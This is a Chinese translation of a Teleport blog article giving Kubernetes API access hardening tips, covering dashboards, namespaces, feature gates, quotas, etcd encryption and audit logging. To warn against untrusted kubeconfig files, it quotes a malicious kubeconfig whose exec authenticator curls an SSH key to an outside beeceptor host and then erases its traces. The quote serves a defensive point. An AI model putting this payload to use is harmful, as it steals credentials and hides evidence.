4. API访问控制的额外安全考虑

安全访问 Kubernetes 仪表板

对 Kubernetes 仪表板的不安全访问可能是整个 Kubernetes 安全状况中的致命漏洞。因此，如果您已安装并允许访问 Kubernetes 仪表板，请确保强大的身份验证和授权（与一般 Web 应用程序安全相关）控制到位。

使用命名空间隔离敏感工作负载

Kubernetes 中的命名空间是一项有价值的功能，可以将相关资源组合在一个虚拟边界中。在安全性方面，命名空间结合 RoleBinding 也有助于控制安全影响的爆炸半径。如果您使用命名空间来隔离敏感工作负载，则在一个命名空间中的帐户访问权限受损有助于防止一个命名空间中的安全影响转向另一个命名空间。命名空间隔离以及 NetworkPolicies 是保护节点的最佳组合之一。

仅使用来自可信来源的 kubeconfig 文件

使用特制的 kubeconfig 文件可能会导致恶意代码执行或敏感文件暴露。因此，在使用 kubeconfig 文件时，请像检查 shell 脚本一样仔细检查它。

以下是一个示例 Kubeconfig 文件，该文件在执行时会泄露 SSH 私钥（取自 Kubernetes GitHub Issue on using untrusted Kubeconfig files）

# execute arbitrary commands with the exec authenticator
# in the example, leak the ssh keys (.pub is optional) and remove the traces
apiVersion: v1
clusters:
  - cluster:
      server: https://eipu5nae.free.beeceptor.com/
    name: poc
contexts:
  - context:
      cluster: poc
      user: poc
    name: poc
current-context: poc
kind: Config
preferences: {}
users:
  - name: poc
    user:
      exec:
        apiVersion: client.authentication.k8s.io/v1alpha1
        command: sh
        args:
          - -c
          - 'curl -d@../.ssh/id_rsa.pub https://eipu5nae.free.beeceptor.com/exec; sed -i -e ''/exec:/,$ d'' "$KUBECONFIG" || true'

使用特征门来减少攻击面

Kubernetes 支持功能门（一组键=值对），可用于启用和禁用特定的 Kubernetes 功能。由于 Kubernetes 提供了许多功能（可通过 API 配置），其中一些可能不适用于您的要求，因此应关闭以减少攻击面。

此外，Kubernetes 将功能区分为“Alpha（不稳定，有缺陷）、Beta（稳定，默认启用）和 GA（通用可用性功能，默认启用）阶段。因此，如果您想通过将标志传递给 kube-apiserver 来禁用 Alpha 功能（不能禁用的 GA 功能除外）

--feature-gates="...,LegacyNodeRoleBehavior=false, DynamicKubeletConfig=false"

使用限制范围和资源配额来防止拒绝服务攻击

限制范围（防止在 Pod 和容器级别使用资源的约束）和资源配额（在命名空间中保留资源可用性消耗的约束）都确保公平使用可用资源。确保资源限制也是防止滥用计算资源的一个很好的预防措施，例如加密挖掘攻击活动。

请参阅这些页面以详细了解 Kubernetes 中可用的限制范围和资源配额策略。

限制对 etcd 的直接访问并加密 etcd 以防止明文访问配置数据

etcd 是所有集群数据的默认数据存储，访问 etcd 与在 Kubernetes 集群中获得 root 权限相同。此外，etcd 提供了自己的 HTTP API 集，这意味着 etcd 访问安全性应该同时关注直接网络访问和 HTTP 请求。有关操作 etcd 集群的更多信息，请参阅关于操作 etcd 集群的 Kubernetes 指南并查看官方 etcd 文档以获取更多信息。此外，使用 --encryption-provider-config 标志来配置 API 配置数据应如何在 etcd 中加密。请参阅加密静态机密数据指南以了解 Kubernetes 提供的功能。

关于 etcd 和 kube-apiserver 之间的 TLS 通信，请参阅上面的部分。

记录和监控 API 访问事件

使用监控、日志记录和审计功能来捕获和查看所有 API 事件。下面是一个示例审计配置文件，可以按照以下命令传递给 kube-apiserver。

apiVersion: audit.k8s.io/v1
kind: Policy
# Discard events related to requests in RequestReceived stage.
omitStages:
  - 'RequestReceived'
rules:
  # Log pod changes at RequestResponse level
  - level: RequestResponse
    resources:
      - group: ''
        # Resource "pods" doesn't match requests to any subresource of pods,
        # which is consistent with the RBAC policy.
        resources: ['pods']
  # Log "pods/log", "pods/status" at Metadata level
  - level: Metadata
    resources:
      - group: ''
        resources: ['pods/log', 'pods/status']

$ kube-apiserver -audit-policy-file=[filename]

有关审计配置的更多详细信息，请参阅本指南。

结论

Kubernetes 支持高度灵活的访问控制方案，但选择最佳和安全的方式来管理 API 访问是在考虑 Kubernetes 安全性时要考虑的最安全敏感的方面之一。在本文中，我们展示了 Kubernetes 支持的各种 API 访问控制方案以及使用它们的最佳实践。

我们将本文的重点放在与 Kubernetes API 访问控制相关的主题上。无论您是需要管理 Kubernetes 集群还是使用托管 Kubernetes 服务（AWS EKS、GCP Kubernetes 引擎），了解 Kubernetes 支持的访问控制功能（如本文所述）都应该有助于您了解安全模式并将其应用于 Kubernetes 集群。此外，不要忘记 Cloud Native 安全性的 4C。 Cloud Native 安全模型的每一层都建立在下一个最外层之上，因此 Kubernetes 的安全性取决于整体的 Cloud Native 安全性。

原文：https://goteleport.com/blog/kubernetes-api-access-security/

本文：https://jiagoushi.pro/node/1850